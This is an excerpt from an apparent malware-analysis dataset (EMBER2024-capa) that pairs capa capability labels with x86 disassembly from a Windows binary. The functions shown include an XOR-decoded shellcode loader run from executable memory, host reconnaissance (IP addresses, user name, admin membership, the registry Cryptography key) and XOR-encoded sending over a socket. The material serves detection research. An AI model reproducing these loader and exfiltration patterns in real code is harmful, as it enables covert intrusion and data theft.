joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406858
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push 0
push 0
push 0
push 0
push 0
push 0
cld
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
sub eax, 3
imul ax, dx
movzx eax, al
cmp ax, 0x7c
je 0x4068bd
push 0
push 1
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov ecx, ebp
cmp eax, dword [edx + ebp]
je 0x4068ff
mov eax, 0x4068b8
lea eax, es:[edx + eax]
push ecx
sub esp, 4
mov dword [esp], eax
push 0x10
push 0
call 0x4068f9
test eax, eax
jne 0x4068d8
jmp 0x4068ff
leave
push ecx
retf
cmc
nop
mov eax, esp
lea eax, [eax + 8]
mov ecx, eax
or eax, dword [ecx]
and eax, dword [ecx]
cld
or eax, 7
xchg dword es:[esp + 0x10], edx
nop
lea eax, ss:[eax + 0x789681]
lea eax, [eax - 0x783648]
adc dword [esi - 0x7f72ff88], 0xff87c9b8
sub edx, 0x1b8
add dword [edx], eax
mov ecx, dword [esp]
sub esp, 0xffffffec
sub eax, eax
push cs
pop dx
push dx
je 0x4068b9
jmp dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
add byte [eax], al
add byte [eax], al
mov fs, word [ecx]
inc ebp
jecxz 0x406939
xor dword [edi + 0x2194b411], esp
invalid
cmpsd dword [esi], dword es:[edi]
adc dword [esp + edx*4 - 0x5d3999df], esi
add byte [ebx - 0x5671c0d6], cl
mov word [ebx - 0x76], gs
vpaddusw xmm7, xmm5, xmmword [edx + edi*8]
mov byte [eax], ch
fcomp dword [esi*8 + 0x7f8b0050]
or byte [ebx - 0x7ad325c5], cl
std
movsd dword es:[edi], dword [esi]
mov eax, 0xb98b00f2
cdq
mov ebp, 0xd48b00a0
mov edx, esp
jle 0x406907
out 0xec, eax
push esi
sub dl, ah
add byte [ebx + 0x33c8499a], cl
jl 0x406985
shl dword [ecx], cl
inc ebp
inc ecx
adc esi, edi
js 0x40695a
sub eax, 0xf08d5e
mov edi, dword [esi - 0x59]
fcmovnu st(0), st(3)
mov ss, ebx
lcall 0xc233, 0x7598698f
add byte [ebx - 0x74ff2df2], cl
xor al, byte [eax]
mov ebx, dword [edx - 0x7b5e605a]
mov bl, 0xc2
add byte [ebx + 0x53d82e6a], cl
in al, 0xef
adc eax, esp
push ds
mov bh, 0x4c
or dword [eax], edx
mov ebp, dword [edx + 0x728b00]
mov edi, dword [ebx + 0x74]
mov byte [esi], dh
pushfd
and eax, 0xd20eefdc
add byte [ebx - 0x5c6c7a6c], cl
push eax
add byte [ebx + 0x778b0082], cl
scasd eax, dword es:[edi]
pop es
in al, 0xc6
pushfd
inc edx
add byte [ebx + 0x4bc45b6c], cl
invalid
Function at 0x401750
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x401cd8
call fcn.00401af0
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x402374
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x40151b
cmp eax, esi
jne 0x40150e
xor esi, esi
inc esi
mov edi, esi
jmp 0x40151e
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4014f2
xor esi, esi
inc esi
cmp dword [0x402378], esi
jne 0x401530
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x40156a
cmp dword [0x402378], ebx
jne 0x401564
mov dword [0x402378], esi
push 0x4010dc
push 0x4010d0
call fcn.004016aa
pop ecx
pop ecx
test eax, eax
je 0x40156a
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x401694
mov dword [0x402024], esi
cmp dword [0x402378], esi
jne 0x40158d
push 0x4010cc
push 0x4010c4
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x402378], 2
test edi, edi
jne 0x40159a
xor eax, eax
mov ecx, 0x402374
xchg dword [ecx], eax
cmp dword [0x40237c], 0
je 0x4015c6
push 0x40237c
call fcn.00401920
pop ecx
test eax, eax
je 0x4015c6
push ebx
push 2
push ebx
mov esi, dword [0x40237c]
mov ecx, esi
call dword [0x403074]
call esi
mov eax, dword [sym.imp.msvcrt.dll__wcmdln]
mov ecx, dword [eax]
test ecx, ecx
je 0x401553
mov dword [ebp - 0x20], ecx
push 0x20
pop esi
mov edx, dword [ebp - 0x1c]
movzx eax, word [ecx]
cmp ax, si
ja 0x401631
test ax, ax
je 0x401600
test edx, edx
jne 0x401631
test ax, ax
je 0x401600
cmp ax, si
ja 0x401600
add ecx, 2
mov dword [ebp - 0x20], ecx
movzx eax, word [ecx]
jmp 0x4015eb
test byte [ebp - 0x3c], 1
je 0x40160c
movzx eax, word [ebp - 0x38]
jmp 0x40160f
push 0xa
pop eax
push eax
push ecx
push ebx
push 0x400000
call main
mov dword [0x402020], eax
cmp dword [0x402038], 0
jne 0x401679
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp eax, 0x22
jne 0x401642
xor eax, eax
test edx, edx
sete al
mov edx, eax
mov dword [ebp - 0x1c], edx
add ecx, 2
mov dword [ebp - 0x20], ecx
jmp 0x4015da
cmp dword [0x402024], 0
jne 0x40168d
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x402020]
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
call fcn.00401a2b
jmp 0x4014c9

Function at 0x4017f0
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x401cf8
call fcn.00401af0
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x401850
cmp eax, 0xffffffff
je 0x401850
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x401849
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x401849
cmp edx, 0x10000000
jae 0x401849
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x401846
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4018d0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40190e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x401906
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x401910
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4018f6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4019f0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x401a21
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x401a21
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x401a21
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4021b0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
mov edx, dword [edi + 0x3c]
mov esi, dword [ecx + eax + 0x20]
dec edx
lea ecx, [ecx + eax + 0x18]
not edx
and edx, esi
mov dword [ebp - 0x1c], esi
mov esi, dword [ecx + 0x10]
mov dword [ebp - 0x18], edx
test esi, esi
jne 0x4021f3
mov ebx, dword [ecx + 0x24]
test bl, 0x40
je 0x4021ec
mov esi, dword [eax + 0x20]
jmp 0x4021f3
test bl, bl
jns 0x4021f3
mov esi, dword [eax + 0x24]
mov dword [ebp - 0x14], esi
mov esi, dword [ecx + 0x24]
mov dword [ebp - 0x10], esi
mov esi, 1
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 1
cmp si, word [eax + 6]
jae 0x4022c0
lea ebx, [ecx + 0x4c]
lea esp, [esp]
mov esi, dword [edi + 0x3c]
mov ecx, dword [ebx - 0x1c]
mov edi, dword [ebx - 0x14]
dec esi
not esi
and esi, ecx
mov dword [ebp - 4], ecx
test edi, edi
jne 0x402248
mov ecx, dword [ebx]
test cl, 0x40
je 0x402241
mov edi, dword [eax + 0x20]
jmp 0x402248
test cl, cl
jns 0x402248
mov edi, dword [eax + 0x24]
cmp edx, esi
je 0x402277
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1c]
cmp eax, esi
ja 0x402277
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x1c]
call fcn.00402100
test eax, eax
je 0x4022de
mov edx, dword [ebp - 4]
mov eax, dword [ebx]
mov dword [ebp - 0x1c], edx
mov edx, esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x10], eax
jmp 0x40229f
mov eax, dword [ebx]
test eax, 0x2000000
je 0x40228e
test dword [ebp - 0x10], 0x2000000
je 0x40228e
or dword [ebp - 0x10], eax
jmp 0x402299
or eax, dword [ebp - 0x10]
and eax, 0xfdffffff
mov dword [ebp - 0x10], eax
sub edi, dword [ebp - 0x1c]
add edi, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov ecx, dword [ebp - 8]
movzx esi, word [eax + 6]
inc ecx
add ebx, 0x28
mov dword [ebp - 0x14], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 8], ecx
cmp ecx, esi
jl 0x402220
lea ecx, [ebp - 0x1c]
mov eax, edi
mov dword [ebp - 0xc], 1
call fcn.00402100
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402930
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], edi
cmp dword [0x45f544], edi
jne 0x402988
xor eax, eax
mov cl, 0x55
jmp 0x402950
xor byte [eax + 0x44c648], cl
inc eax
cmp eax, 0x51
jb 0x402950
xor eax, eax
mov edi, edi
xor byte [eax + 0x44c6a0], cl
inc eax
cmp eax, 0x129
jb 0x402960
xor eax, eax
xor byte [eax + 0x44c7d0], cl
inc eax
cmp eax, 0x11f
jb 0x402970
mov dword [0x45f544], 1
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x3000
push 0x51
push 0
call esi
mov ebx, eax
test ebx, ebx
je 0x402a55
push 0x51
push 0x44c648
push ebx
call fcn.0041bbf0
add esp, 0xc
push 0x40
push 0x3000
push 0x149
push 0
call esi
mov edi, eax
test edi, edi
je 0x402a2d
push 0x129
push 0x44c6a0
push edi
call fcn.0041bbf0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
lea esi, [edi + 0x129]
add esp, 0xc
mov dword [esi], eax
xor eax, eax
push esi
push edi
mov dword [esi + 8], ecx
mov dword [esi + 0x10], eax
mov dword [esi + 0x18], eax
call ebx
test eax, eax
jne 0x402a10
push 5
mov dword [ebp - 4], 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x402a2d
mov esi, dword [esi + 0x18]
test esi, esi
jne 0x402a28
push 6
mov dword [ebp - 4], 6
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x402a2d
mov edx, dword [ebp + 0x10]
mov dword [edx], esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x4000
push 0
push ebx
call esi
test edi, edi
je 0x402a4b
push 0x4000
push 0
push edi
call esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402a60
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push 0x43972c
push eax
call fcn.0041ca5f
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x402a90
push str.Error_opening_source_file
call fcn.0041ca9e
add esp, 4
lea eax, [ebx + 1]
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
push esi
push 0x43974c
push ecx
call fcn.0041ca5f
mov esi, eax
add esp, 8
mov dword [ebp - 8], esi
test esi, esi
jne 0x402ac7
push str.Error_opening_destination_file
call fcn.0041cb2c
push ebx
call fcn.0041cc56
add esp, 8
lea eax, [esi + 2]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push 0x400
call fcn.0041c606
mov edi, eax
add esp, 4
test edi, edi
jne 0x402afe
push str.Error_allocating_memory
call fcn.0041ca9e
push ebx
call fcn.0041cc56
push esi
call fcn.0041cc56
add esp, 0xc
lea eax, [edi + 3]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push 4
push 1
push edi
call fcn.0041cf14
mov esi, eax
add esp, 0x10
test esi, esi
je 0x402b3a
mov edx, dword [ebp - 8]
push edx
push esi
push 1
push edi
call fcn.0041d088
add esp, 0x10
cmp eax, esi
jne 0x402b88
push ebx
push 4
push 1
push edi
call fcn.0041cf14
mov esi, eax
add esp, 0x10
test esi, esi
jne 0x402b12
push edi
call fcn.0041ba30
push ebx
call fcn.0041cc56
mov esi, dword [ebp - 8]
push 0
push 0x50
push esi
call fcn.0041d18c
call fcn.0041d21a
cdq
mov ecx, 0xff
idiv ecx
push esi
push 1
push 1
inc dl
mov byte [ebp - 1], dl
lea edx, [ebp - 1]
push edx
call fcn.0041d088
push esi
call fcn.0041cc56
add esp, 0x28
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push str.Error_writing_to_destination_file
call fcn.0041ca9e
push edi
call fcn.0041ba30
push ebx
call fcn.0041cc56
mov eax, dword [ebp - 8]
push eax
call fcn.0041cc56
add esp, 0x10
pop edi
pop esi
mov eax, 4
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402bc0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, eax
lea ecx, [ebx + 2]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
lea edx, [edx*4 + 1]
push edi
push edx
call fcn.0041c606
mov edi, eax
add esp, 4
test edi, edi
jne 0x402bf2
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
xor esi, esi
xor ecx, ecx
test ebx, ebx
je 0x402c9c
cmp esi, ebx
jae 0x402c0d
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
inc esi
jmp 0x402c0f
xor eax, eax
cmp esi, ebx
jae 0x402c20
mov edx, dword [ebp + 8]
movzx edx, byte [esi + edx]
mov dword [ebp - 4], edx
inc esi
jmp 0x402c27
mov dword [ebp - 4], 0
cmp esi, ebx
jae 0x402c38
mov edx, dword [ebp + 8]
movzx edx, byte [esi + edx]
mov dword [ebp - 8], edx
inc esi
jmp 0x402c3f
mov dword [ebp - 8], 0
shl eax, 8
add eax, dword [ebp - 4]
add ecx, 4
shl eax, 8
add eax, dword [ebp - 8]
mov edx, eax
shr edx, 0x12
and edx, 0x3f
movzx edx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + edi - 4], dl
mov edx, eax
shr edx, 0xc
and edx, 0x3f
movzx edx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + edi - 3], dl
mov edx, eax
shr edx, 6
and edx, 0x3f
movzx edx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + edi - 2], dl
mov byte [ecx + edi - 1], al
cmp esi, ebx
jb 0x402c03
mov eax, 0xaaaaaaab
mul ebx
shr edx, 1
lea edx, [edx + edx*2]
sub ebx, edx
pop esi
cmp ebx, 1
jne 0x402cc3
mov word [ecx + edi - 2], 0x3d3d
mov byte [ecx + edi], 0
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 2
jne 0x402ccd
mov byte [ecx + edi - 1], 0x3d
mov byte [ecx + edi], 0
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405690
Capabilities:
Get local ipv4 addresses

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
push edi
xor edi, edi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x10
push edi
mov dword [ebp - 4], edi
call esi
cmp eax, 0x6f
je 0x4056be
pop edi
mov eax, 0x439650
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
push ebx
push ecx
call fcn.0041c606
add esp, 4
lea edx, [ebp - 4]
push edx
mov ebx, eax
push ebx
push edi
push 0x10
push edi
mov dword [ebp - 0xc], ebx
call esi
cmp ebx, edi
je 0x405765
mov dword [ebp - 8], ebx
mov ebx, dword [sym.imp.WS2_32.dll_inet_ntoa]
lea esp, [esp]
mov eax, dword [ebp - 8]
cmp dword [eax + 0x44], 1
jne 0x405758
mov esi, dword [eax + 0x10]
test esi, esi
je 0x405758
mov eax, dword [esi + 0xc]
cmp word [eax], 2
jne 0x40574e
mov eax, dword [eax + 4]
push eax
call ebx
mov edi, eax
push 0x2e
push edi
call fcn.0041d5d0
add esp, 8
test eax, eax
je 0x40574e
mov ecx, 0x43a7e0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x405745
test dl, dl
je 0x405741
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x405745
add eax, 2
add ecx, 2
test dl, dl
jne 0x405725
xor eax, eax
jmp 0x40574a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40576e
mov esi, dword [esi + 8]
test esi, esi
jne 0x405700
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
test eax, eax
jne 0x4056f0
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.0041ba30
add esp, 4
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x405aa0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 4]
push eax
push 0x20119
push 0
push str.SOFTWAREMicrosoftCryptography
push reloc.WS2_32.dll_bind
mov dword [ebp - 0xc], 0x100
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x405b11
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0xc]
push ecx
push 0x45f568
push 0
push 0
push 0x43be28
push edx
call edi
test eax, eax
jne 0x405b0b
mov eax, dword [ebp - 4]
push eax
call ebx
pop edi
pop esi
mov eax, 0x45f568
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
push ecx
call ebx
lea edx, [ebp - 8]
push edx
push 0x20219
push 0
push str.SOFTWAREMicrosoftCryptography
push reloc.WS2_32.dll_bind
call esi
test eax, eax
jne 0x405b60
mov ecx, dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
push 0x45f568
push 0
push 0
push 0x43be28
push ecx
call edi
test eax, eax
jne 0x405b5a
mov edx, dword [ebp - 8]
push edx
call ebx
pop edi
pop esi
mov eax, 0x45f568
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
push eax
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405b70
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x442754]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 1
push edi
call ebx
test eax, eax
jne 0x405bba
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x405bba
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x214]
push esi
push ecx
call fcn.0041c606
mov esi, eax
add esp, 4
test esi, esi
je 0x405c90
mov eax, dword [ebp - 0x214]
lea edx, [ebp - 0x214]
push edx
push eax
push esi
push 1
push edi
call ebx
test eax, eax
je 0x405c45
mov eax, 0x101
lea ecx, [ebp - 0x224]
push ecx
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x21c], eax
lea edx, [ebp - 0x21c]
push edx
lea eax, [ebp - 0x108]
push eax
mov eax, dword [esi]
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x20c]
push edx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidA]
test eax, eax
je 0x405c45
lea ecx, [ebp - 0x210]
push ecx
push str.S_1_5_32_568
call dword [sym.imp.ADVAPI32.dll_ConvertStringSidToSidA]
test eax, eax
jne 0x405c60
push esi
call fcn.0041ba30
add esp, 4
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x210]
lea edx, [ebp - 0x220]
push edx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push esi
test eax, eax
jne 0x405ca2
call fcn.0041ba30
mov ecx, dword [ebp - 0x210]
add esp, 4
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
call fcn.0041ba30
mov edx, dword [ebp - 0x210]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 4]
xor eax, eax
cmp dword [ebp - 0x220], 1
pop esi
sete al
xor ecx, ebp
pop ebx
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
Function at 0x405ce0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x442754]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x108]
push ecx
mov dword [ebp - 0x114], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [ebp - 0x10c]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x405d3e
mov eax, 0x439650
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x10c]
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 0x110]
push eax
push 0
push 0
push 0x14
push ecx
call edi
mov ebx, dword [ebp - 0x110]
push ebx
call fcn.0041c606
add esp, 4
lea edx, [ebp - 0x110]
push edx
push ebx
mov esi, eax
mov eax, dword [ebp - 0x10c]
push esi
push 0x14
push eax
call edi
test eax, eax
jne 0x405db2
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.0041ba30
add esp, 4
pop edi
pop esi
mov eax, 0x439650
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 0x10c]
call fcn.00405b70
mov edi, dword [esi]
push esi
mov bl, al
call fcn.0041ba30
mov edx, dword [ebp - 0x10c]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x405e43
test bl, bl
jne 0x405e43
lea eax, [ebp - 0x108]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405de8
sub eax, edx
add eax, 2
push eax
call fcn.0041c606
lea ecx, [ebp - 0x108]
mov esi, eax
mov edx, ecx
add esp, 4
sub esi, edx
lea esp, [esp]
mov dl, byte [ecx]
mov byte [esi + ecx], dl
inc ecx
test dl, dl
jne 0x405e10
lea edi, [eax - 1]
lea ecx, [ecx]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x405e20
mov cx, word [0x439678]
mov word [edi], cx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x108]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405e50
sub eax, edx
inc eax
push eax
call fcn.0041c606
lea ecx, [ebp - 0x108]
mov esi, eax
mov edx, ecx
add esp, 4
sub esi, edx
nop
mov dl, byte [ecx]
mov byte [esi + ecx], dl
inc ecx
test dl, dl
jne 0x405e70
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041ba21
mov esp, ebp
pop ebp
ret

Function at 0x405fa0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x442754]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
inc eax
push eax
call fcn.0041c606
add esp, 4
test eax, eax
jne 0x405fe1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
push esi
lea ecx, [ebp - 0x108]
mov esi, eax
mov edx, ecx
sub esi, edx
mov edi, edi
mov dl, byte [ecx]
mov byte [esi + ecx], dl
inc ecx
test dl, dl
jne 0x405ff0
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
Function at 0x406730
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.00405fa0
push 0x43a980
push eax
push 0x43a988
push 3
mov dword [ebp - 8], eax
call fcn.00402eb0
add esp, 0x10
mov dword [ebp - 4], eax
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406760
push ebx
push esi
sub eax, edx
push edi
mov edi, eax
lea ebx, [edi + 1]
push ebx
call fcn.0041c606
push ebx
mov esi, eax
push 0
push esi
call fcn.00421fd0
add esp, 0x10
test esi, esi
je 0x4067a9
mov eax, dword [ebp - 4]
push edi
push eax
push esi
call fcn.00420fc0
add esp, 0xc
xor eax, eax
test edi, edi
je 0x4067a9
lea ecx, [ecx]
xor byte [eax + esi], 0xbb
inc eax
cmp eax, edi
jb 0x4067a0
mov ecx, dword [ebp + 8]
push 0
push edi
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov edx, dword [ebp - 8]
push edx
call fcn.0041ba30
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret